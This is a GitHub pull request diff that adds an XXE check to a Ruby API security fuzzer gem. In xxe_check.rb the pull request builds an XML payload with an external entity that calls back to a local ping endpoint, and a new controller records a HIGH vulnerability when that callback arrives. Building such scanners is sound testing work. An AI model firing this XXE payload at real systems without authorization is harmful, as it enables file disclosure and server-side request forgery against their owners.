Skip to content

Implements xxe check #6

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 3 commits into from
Sep 24, 2016
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion .travis.yml
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
sudo: false
language: ruby
rvm:
- 2.0.0
- 2.3.0
before_install: gem install bundler -v 1.12.5
2 changes: 2 additions & 0 deletions API_Fuzzer.gemspec
Original file line number Diff line number Diff line change
Expand Up @@ -28,6 +28,8 @@ Gem::Specification.new do |spec|
spec.require_paths = ["lib"]

spec.add_dependency 'http', '~> 2.0'
spec.add_dependency 'activesupport'
spec.add_dependency 'rails', '>= 4.2'
spec.add_development_dependency "bundler", "~> 1.12"
spec.add_development_dependency "rake", "~> 10.0"
spec.add_development_dependency "minitest", "~> 5.0"
Expand Down
1 change: 1 addition & 0 deletions Gemfile
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,7 @@ source 'https://rubygems.org'
# Specify your gem's dependencies in API_Fuzzer.gemspec

gem 'http'
gem 'builder'

group :development do
gem 'byebug'
Expand Down
18 changes: 18 additions & 0 deletions app/controllers/ping_controller.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
class PingController < ActionController::Base
def index
@scan = Scan.find(params[:id])
@scan.vulnerabilities.create!(
status: 'HIGH',
class_type: 'Vulnerability',
description: 'Possible XXE vulnerability in #{@scan.url}',
value: body
) if @scan
render json: { status: :ok }
end

private

def body
@scan.parameters.gsub(/\>\s*[a-zA-Z0-9]*\s*\<\//, '>&xxe;<')
end
end
3 changes: 3 additions & 0 deletions config/routes.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
API_Fuzzer::Engine.routes.draw do
get '/ping/:id' => 'ping#index'
end
3 changes: 3 additions & 0 deletions lib/API_Fuzzer.rb
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,8 @@
require 'API_Fuzzer/sql_blind_check'
require 'API_Fuzzer/xss_check'
require 'API_Fuzzer/request'
require 'API_Fuzzer/engine'
require 'API_Fuzzer/xxe_check'

module API_Fuzzer
# Scans all the checks
Expand All @@ -16,6 +18,7 @@ def self.scan(options = {})
vulnerabilities << API_Fuzzer::XssCheck.scan(options)
vulnerabilities << API_Fuzzer::SqlCheck.scan(options)
vulnerabilities << API_Fuzzer::SqlBlindCheck.scan(options)
API_Fuzzer::XxeCheck.scan(options)
vulnerabilities.uniq.flatten
end

Expand Down
5 changes: 5 additions & 0 deletions lib/API_Fuzzer/engine.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
require 'rails'

module API_Fuzzer
class Engine < ::Rails::Engine; end
end
3 changes: 3 additions & 0 deletions lib/API_Fuzzer/request.rb
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,7 @@ def send_api_request(options = {})
@params = options.delete(:params) || {}
@method = options.delete(:method) || :get
@json = options.delete(:json) ? true : false
@body = options.delete(:body) ? true : false
@request = set_cookies(options)
send_request
end
Expand Down Expand Up @@ -56,6 +57,8 @@ def self.set_params
{ 'json' => @params }
elsif method_get?
{ 'params' => @params }
elsif @body
{ 'body' => @params }
else
{ 'form' => @params }
end
Expand Down
43 changes: 43 additions & 0 deletions lib/API_Fuzzer/xxe_check.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
require 'API_Fuzzer/vulnerability'
require 'API_Fuzzer/error'
require 'API_Fuzzer/request'

module API_Fuzzer
class XxeCheck

def self.scan(options = {})
@url = options[:url] || nil
@params = options[:params]
@scan_hash = options[:scan]
fuzz_xml_params
end

private

def self.fuzz_xml_params
return unless @params
body = params_serialize.gsub(/\>\s*[a-zA-Z0-9]*\s*\<\//, '>&xxe;<')
payload = <<-XXEPAYLOAD
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:3000/ping/#{@scan_hash}" >]>
XXEPAYLOAD
payload << body
API_Fuzzer::Request.send_api_request(
url: @url,
params: payload,
body: true,
method: :post
)
end

def self.params_serialize
body = []
@params.keys.each do |key, value|
body << "#{key}=#{value}"
end
body.join('&')
end
end
end